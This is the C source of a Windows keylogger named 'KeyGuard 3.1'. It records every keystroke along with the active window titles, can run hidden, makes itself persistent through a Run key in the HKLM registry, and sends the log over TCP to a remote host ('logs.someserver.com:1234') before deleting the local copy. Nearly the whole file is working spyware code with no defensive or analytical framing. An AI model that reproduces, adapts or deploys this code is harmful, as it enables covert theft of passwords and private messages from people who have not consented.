/*
* Copyright (C) 2011 Dag Jonny Nedrelid
*
* KeyGuard 3.1
* Last updated February 14th, 2011
*/
#include "stdafx.h"
#include "KeyGuard.h"
#define MAX_LOADSTRING 100
#define MAX_LOG_SIZE 1024
#define LOG_FILE_NAME "KeyGuard.log"
#define KGSERVER_HOST "logs.someserver.com"
#define KGSERVER_PORT "1234"
// Global variable declarations
HINSTANCE hInst;
HWND hWnd;
HWND fgWindow;
TCHAR szTitle[MAX_LOADSTRING];
TCHAR szWindowClass[MAX_LOADSTRING];
TCHAR ProgramID[11];
TCHAR fgWindowTitle[50];
BOOL lastKeyBeenUp;
BOOL CapsLockOn;
BOOL ShiftIsDown;
BOOL RAltIsDown;
INT FormatKeys[8];
INT lastKey;
// Function prototypes
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
INT_PTR CALLBACK About(HWND, UINT, WPARAM, LPARAM);
ATOM MyRegisterClass(HINSTANCE hInstance);
BOOL InitInstance(HINSTANCE, INT);
VOID ConvertWToChar(TCHAR *Source, CHAR *Dest);
VOID SaveToLog(CHAR, CHAR*, INT);
VOID Install();
VOID KeyScan();
VOID SendLog();
int APIENTRY _tWinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
{
UNREFERENCED_PARAMETER(hPrevInstance);
UNREFERENCED_PARAMETER(lpCmdLine);
MSG msg;
HACCEL hAccelTable;
INT nArgs, i;
LPWSTR *szParameters;
// Initializations
ZeroMemory(&msg, sizeof(MSG));
ProgramID[0] = NULL;
lastKeyBeenUp = FALSE;
lastKey = VK_ESCAPE;
fgWindow = hWnd;
wcscpy_s(fgWindowTitle, szTitle);
FormatKeys[0] = VK_SPACE;
FormatKeys[1] = VK_RETURN;
FormatKeys[2] = VK_OEM_PLUS;
FormatKeys[3] = VK_OEM_COMMA;
FormatKeys[4] = VK_OEM_MINUS;
FormatKeys[5] = VK_OEM_PERIOD;
FormatKeys[6] = VK_BACK;
FormatKeys[7] = VK_TAB;
// Get program parameters
szParameters = CommandLineToArgvW(GetCommandLineW(), &nArgs);
if (szParameters != NULL) {
for (i = 0; i<nArgs; i++) {
if (wcscmp(szParameters[i], L"-hide") == 0)
nCmdShow = SW_HIDE;
if (i == 2) // ID must be second parameter
wcscpy_s(ProgramID, szParameters[i]);
}
}
// Initialize global strings
LoadString(hInstance, IDS_APP_TITLE, szTitle, MAX_LOADSTRING);
LoadString(hInstance, IDC_KEYGUARD, szWindowClass, MAX_LOADSTRING);
MyRegisterClass(hInstance);
// Destroy other instances of KeyGuard
PostMessage(FindWindow(szWindowClass, szTitle),WM_DESTROY,0,0);
// Perform application initialization:
if (!InitInstance (hInstance, nCmdShow))
return FALSE;
hAccelTable = LoadAccelerators(hInstance,
MAKEINTRESOURCE(IDC_KEYGUARD));
// Main message loop:
while (msg.message != WM_QUIT) {
Sleep(5); // Try to stay CPU friendly, but still quick
if (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE) != 0) {
TranslateAccelerator(msg.hwnd, hAccelTable, &msg);
TranslateMessage(&msg);
DispatchMessage(&msg);
}
KeyScan(); // Scans and logs keys
SendLog(); // Send if PID exists and > MAX_LOG_SIZE
}
return (int) msg.wParam;
}
ATOM MyRegisterClass(HINSTANCE hInstance)
{
WNDCLASSEX wcex;
wcex.cbSize = sizeof(WNDCLASSEX);
wcex.style = CS_HREDRAW | CS_VREDRAW;
wcex.lpfnWndProc = WndProc;
wcex.cbClsExtra = 0;
wcex.cbWndExtra = 0;
wcex.hInstance = hInstance;
wcex.hIcon = LoadIcon(hInstance,
MAKEINTRESOURCE(IDI_KEYGUARD));
wcex.hCursor = LoadCursor(NULL, IDC_ARROW);
wcex.hbrBackground = (HBRUSH)(COLOR_WINDOW+1);
wcex.lpszMenuName = MAKEINTRESOURCE(IDC_KEYGUARD);
wcex.lpszClassName = szWindowClass;
wcex.hIconSm = LoadIcon(wcex.hInstance,
MAKEINTRESOURCE(IDI_SMALL));
return RegisterClassEx(&wcex);
}
BOOL InitInstance(HINSTANCE hInstance, int nCmdShow)
{
hInst = hInstance;
// Main window.
hWnd = CreateWindow(szWindowClass, szTitle, WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT, 0, 210, 125, NULL, NULL, hInstance, NULL);
// Create "Program ID:" edit control.
CreateWindowEx(WS_EX_CLIENTEDGE, L"EDIT", L"",
WS_VISIBLE | WS_CHILD | ES_NUMBER,
95, 9, 90, 20, hWnd, (HMENU)TXT_KEYGUARD_ID, NULL, NULL);
SetDlgItemText(hWnd, TXT_KEYGUARD_ID, ProgramID);
// Create "Update / Install" button control.
CreateWindowEx(NULL, L"BUTTON", L"Install / update", WS_VISIBLE | WS_CHILD,
35, 35, 120, 20, hWnd, (HMENU)BTN_KEYGUARD_ID, NULL, NULL);
if (!hWnd)
return FALSE;
ShowWindow(hWnd, nCmdShow);
UpdateWindow(hWnd);
return TRUE;
}
LRESULT CALLBACK WndProc(HWND hWnd,
UINT message,
WPARAM wParam,
LPARAM lParam)
{
int wmId, wmEvent;
TCHAR lblProgramID[] = L"Program ID:";
TCHAR szKeyGuardID[11];
PAINTSTRUCT ps;
HDC hdc;
switch (message) {
case WM_COMMAND:
wmId = LOWORD(wParam);
wmEvent = HIWORD(wParam);
switch (wmId) {
case IDM_ABOUT:
DialogBox(hInst,
MAKEINTRESOURCE(IDD_ABOUTBOX),
hWnd,
About);
break;
case IDM_EXIT:
DestroyWindow(hWnd);
break;
case BTN_KEYGUARD_ID:
if (GetDlgItemText(hWnd, TXT_KEYGUARD_ID,
szKeyGuardID,
sizeof(szKeyGuardID)) < 10)
{
MessageBox(NULL, L"Must be 10 numbers.",
L"FAIL", MB_OK | MB_ICONERROR);
break;
}
wcscpy_s(ProgramID, szKeyGuardID);
Install();
break;
default:
return DefWindowProc(hWnd, message, wParam, lParam);
}
break;
case WM_PAINT:
hdc = BeginPaint(hWnd, &ps);
// Add any drawing code here.
TextOut(hdc, 10, 10, lblProgramID, ARRAYSIZE(lblProgramID));
EndPaint(hWnd, &ps);
break;
case WM_DESTROY:
PostQuitMessage(0);
break;
default:
return DefWindowProc(hWnd, message, wParam, lParam);
}
return 0;
}
INT_PTR CALLBACK About(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam)
{
UNREFERENCED_PARAMETER(lParam);
switch (message) {
case WM_INITDIALOG:
return (INT_PTR)TRUE;
case WM_COMMAND:
if (LOWORD(wParam) == IDOK || LOWORD(wParam) == IDCANCEL) {
EndDialog(hDlg, LOWORD(wParam));
return (INT_PTR)TRUE;
}
break;
}
return (INT_PTR)FALSE;
}
VOID Install()
{
HKEY hkey;
TCHAR NewRegistryKeyValue[50];
TCHAR ExecuteParams[50];
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE,L"SOFTWARE\\Microsoft\\"
L"Windows\\CurrentVersion\\Run",
0,KEY_SET_VALUE,&hkey) != ERROR_SUCCESS)
{
MessageBox(NULL, L"You need administrative rights to do "
L"this.", L"Install", MB_OK | MB_ICONERROR );
return;
}
// Update registry
wcscpy_s(NewRegistryKeyValue, L"C:\\KeyGuard\\KeyGuard.exe\" -hide ");
wcscat_s(NewRegistryKeyValue, ProgramID);
RegDeleteKeyValue(hkey, NULL, L"KeyGuard");
RegSetValueEx(hkey, L"KeyGuard", 0, REG_SZ,
(const BYTE*)NewRegistryKeyValue,
sizeof(NewRegistryKeyValue));
RegCloseKey(hkey);
// Install folder and file
CreateDirectory(L"C:\\KeyGuard\\", NULL);
CopyFile(L"KeyGuard.exe", L"C:\\KeyGuard\\KeyGuard.exe", FALSE);
MessageBox( NULL, L"Done. Starting C:\\KeyGuard\\KeyGuard.exe in"
L" hidden mode ...", L"Install / update",
MB_OK | MB_ICONINFORMATION );
// Start the other KeyGuard and send a redundant quit message
wcscpy_s(ExecuteParams, L"-hide ");
wcscat_s(ExecuteParams, ProgramID);
ShellExecute(NULL, L"open", L"KeyGuard.exe", ExecuteParams,
L"C:\\KeyGuard\\", SW_SHOW);
PostQuitMessage(0);
}
VOID KeyScan()
{
int loop_a;
CHAR *formatValue, logValue;
// Prevent log spam
if ((GetKeyState(lastKey) & 0x8000) == 0)
lastKeyBeenUp = TRUE;
if (!lastKeyBeenUp)
return;
// Modifier keys
if ((GetKeyState(VK_SHIFT) & 0x8000) == 0)
ShiftIsDown = FALSE;
else
ShiftIsDown = TRUE;
if ((GetKeyState(VK_RMENU) & 0x8000) == 0)
RAltIsDown = FALSE;
else
RAltIsDown = TRUE;
// 0-9
for (loop_a=0x30; loop_a<=0x39; loop_a++) {
if ((GetAsyncKeyState(loop_a) & 0x8000) > 0) {
switch (loop_a) {
case 0x30:
logValue = (ShiftIsDown?'=':'0');
break;
case 0x31:
logValue = (ShiftIsDown?'!':'1');
break;
case 0x32:
logValue = (ShiftIsDown?'"':'2');
logValue = (RAltIsDown?'@':logValue);
break;
case 0x33:
logValue = (ShiftIsDown?'#':'3');
break;
case 0x34:
logValue = (ShiftIsDown?'ยค':'4');
break;
case 0x35:
logValue = (ShiftIsDown?'%':'5');
break;
case 0x36:
logValue = (ShiftIsDown?'&':'6');
break;
case 0x37:
logValue = (ShiftIsDown?'/':'7');
break;
case 0x38:
logValue = (ShiftIsDown?'(':'8');
break;
case 0x39:
logValue = (ShiftIsDown?')':'9');
break;
}
SaveToLog(logValue, NULL, loop_a);
return;
}
}
// 0-9 Numpad
for(loop_a=0x60; loop_a<=0x69; loop_a++) {
if ((GetAsyncKeyState(loop_a) & 0x8000) > 0) {
switch(loop_a) {
case 0x06:
logValue = '0';
break;
case 0x61:
logValue = '1';
break;
case 0x62:
logValue = '2';
break;
case 0x63:
logValue = '3';
break;
case 0x64:
logValue = '4';
break;
case 0x65:
logValue = '5';
break;
case 0x66:
logValue = '6';
break;
case 0x67:
logValue = '7';
break;
case 0x68:
logValue = '8';
break;
case 0x69:
logValue = '9';
break;
}
SaveToLog(logValue, NULL, loop_a);
return;
}
}
// Works out case-sensitiv logging
if ((GetKeyState(VK_CAPITAL) & 0x1) > 0 &&
(GetKeyState(VK_SHIFT)&0x8000) == 0)
CapsLockOn = TRUE;
else if ((GetKeyState(VK_CAPITAL) & 0x1) == 0 &&
(GetKeyState(VK_SHIFT) & 0x8000) > 0)
CapsLockOn = TRUE;
else
CapsLockOn = FALSE;
// A-Z
for(loop_a=0x41; loop_a<=0x5A; loop_a++) {
if ((GetAsyncKeyState(loop_a) & 0x8000) > 0) {
switch(loop_a) {
case 0x41:
logValue = (CapsLockOn?'A':'a');
break;
case 0x42:
logValue = (CapsLockOn?'B':'b');
break;
case 0x43:
logValue = (CapsLockOn?'C':'c');
break;
case 0x44:
logValue = (CapsLockOn?'D':'d');
break;
case 0x45:
logValue = (CapsLockOn?'E':'e');
break;
case 0x46:
logValue = (CapsLockOn?'F':'f');
break;
case 0x47:
logValue = (CapsLockOn?'G':'g');
break;
case 0x48:
logValue = (CapsLockOn?'H':'h');
break;
case 0x49:
logValue = (CapsLockOn?'I':'i');
break;
case 0x4A:
logValue = (CapsLockOn?'J':'j');
break;
case 0x4B:
logValue = (CapsLockOn?'K':'k');
break;
case 0x4C:
logValue = (CapsLockOn?'L':'l');
break;
case 0x4D:
logValue = (CapsLockOn?'M':'m');
break;
case 0x4E:
logValue = (CapsLockOn?'N':'n');
break;
case 0x4F:
logValue = (CapsLockOn?'O':'o');
break;
case 0x50:
logValue = (CapsLockOn?'P':'p');
break;
case 0x51:
logValue = (CapsLockOn?'Q':'q');
break;
case 0x52:
logValue = (CapsLockOn?'R':'r');
break;
case 0x53:
logValue = (CapsLockOn?'S':'s');
break;
case 0x54:
logValue = (CapsLockOn?'T':'t');
break;
case 0x55:
logValue = (CapsLockOn?'U':'u');
break;
case 0x56:
logValue = (CapsLockOn?'V':'v');
break;
case 0x57:
logValue = (CapsLockOn?'W':'w');
break;
case 0x58:
logValue = (CapsLockOn?'X':'x');
break;
case 0x59:
logValue = (CapsLockOn?'Y':'y');
break;
case 0x5A:
logValue = (CapsLockOn?'Z':'z');
break;
}
SaveToLog(logValue, NULL, loop_a);
return;
}
}
// Formatting
for (loop_a=0; loop_a<=8; loop_a++) {
if ((GetAsyncKeyState(FormatKeys[loop_a]) & 0x8000) > 0) {
switch(FormatKeys[loop_a]) {
case VK_SPACE:
formatValue = " ";
break;
case VK_RETURN:
formatValue = "\r\n";
break;
case VK_OEM_PLUS:
formatValue = (ShiftIsDown?"?":"+");
break;
case VK_OEM_COMMA:
formatValue = (ShiftIsDown?";":",");
break;
case VK_OEM_MINUS:
formatValue = (ShiftIsDown?"_":"-");
break;
case VK_OEM_PERIOD:
formatValue = (ShiftIsDown?":":".");
break;
case VK_BACK:
formatValue = "<";
break;
case VK_TAB:
formatValue = "[Tab]";
break;
}
SaveToLog(NULL, formatValue, FormatKeys[loop_a]);
}
}
}
VOID SaveToLog(CHAR c, CHAR *s, INT k)
{
FILE *logFile;
TCHAR cur_fgWindowTitle[50];
CHAR LogTitle[50];
// Check and set a new window title in the log
fgWindow = GetForegroundWindow();
GetWindowText(fgWindow, cur_fgWindowTitle, 50);
ConvertWToChar(cur_fgWindowTitle, LogTitle);
// Don't log our own window
if (wcscmp(cur_fgWindowTitle, szTitle) == 0)
return;
// Don't log if there's no Program ID
if (ProgramID[0] == NULL)
return;
if (wcscmp(cur_fgWindowTitle, fgWindowTitle) != 0) {
GetWindowText(fgWindow, fgWindowTitle, 50);
// Update log with new window title
if (fopen_s(&logFile, LOG_FILE_NAME, "a+") == 0) {
fprintf_s(logFile,
"\r\n\r\n[WINDOW: %s%s",
LogTitle,
"]\r\n");
fclose(logFile);
}
}
// Log a single character
if (c != NULL) {
if (fopen_s(&logFile, LOG_FILE_NAME, "a+") == 0) {
fprintf_s(logFile, "%c", c);
fclose(logFile);
}
}
// Log a formatting value
if (s != NULL) {
if (fopen_s(&logFile, LOG_FILE_NAME, "a+") == 0) {
fprintf_s(logFile, "%s", s);
fclose(logFile);
}
}
lastKey = k;
lastKeyBeenUp = FALSE;
}
VOID SendLog()
{
WSADATA wsaData;
SOCKET KGSocket = INVALID_SOCKET;
struct addrinfo *result = NULL, *ptr = NULL, hints;
BOOL sentFailFlag = FALSE;
CHAR LogData[MAX_LOG_SIZE+1], PID[11];
FILE *logFile;
INT LogSize;
ZeroMemory(&hints, sizeof(hints));
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
if (ProgramID[0] == NULL)
return;
// Get a local ANSI copy of the ID, for send()
ConvertWToChar(ProgramID, PID);
// Get log size
if (fopen_s(&logFile, LOG_FILE_NAME, "r") == 0) {
fseek(logFile, 0, SEEK_END);
LogSize = (long)ftell(logFile);
fclose(logFile);
if (LogSize < MAX_LOG_SIZE)
return;
} else {
return;
}
// Initiate connection to server
if (WSAStartup(MAKEWORD(2,2), &wsaData) != 0)
return;
if (getaddrinfo(KGSERVER_HOST, KGSERVER_PORT, &hints, &result) != 0) {
WSACleanup();
return;
}
ptr=result;
KGSocket = socket(ptr->ai_family,
ptr->ai_socktype,
ptr->ai_protocol);
if (KGSocket == INVALID_SOCKET) {
freeaddrinfo(result);
WSACleanup();
return;
}
if (connect(KGSocket,
ptr->ai_addr,
(int)ptr->ai_addrlen) == SOCKET_ERROR)
{
closesocket(KGSocket);
KGSocket = INVALID_SOCKET;
freeaddrinfo(result);
WSACleanup();
return;
}
// Get log data
if (fopen_s(&logFile, LOG_FILE_NAME, "r") == 0) {
LogSize = fread(LogData, sizeof(char), MAX_LOG_SIZE, logFile);
LogData[LogSize] = '\0';
fclose(logFile);
}
// Attempt to send PID and log data
if (send(KGSocket, PID, sizeof(PID), 0) == SOCKET_ERROR)
sentFailFlag = TRUE;
if (send(KGSocket, LogData, sizeof(LogData), 0) == SOCKET_ERROR)
sentFailFlag = TRUE;
// Reset log
if (!sentFailFlag) {
DeleteFileA(LOG_FILE_NAME);
}
closesocket(KGSocket);
KGSocket = INVALID_SOCKET;
freeaddrinfo(result);
WSACleanup();
return;
}
VOID ConvertWToChar(TCHAR *Source, CHAR *Dest)
{
int i = 0;
while(Source[i] != '\0') {
Dest[i] = (char)Source[i];
++i;
}
Dest[i] = '\0';
}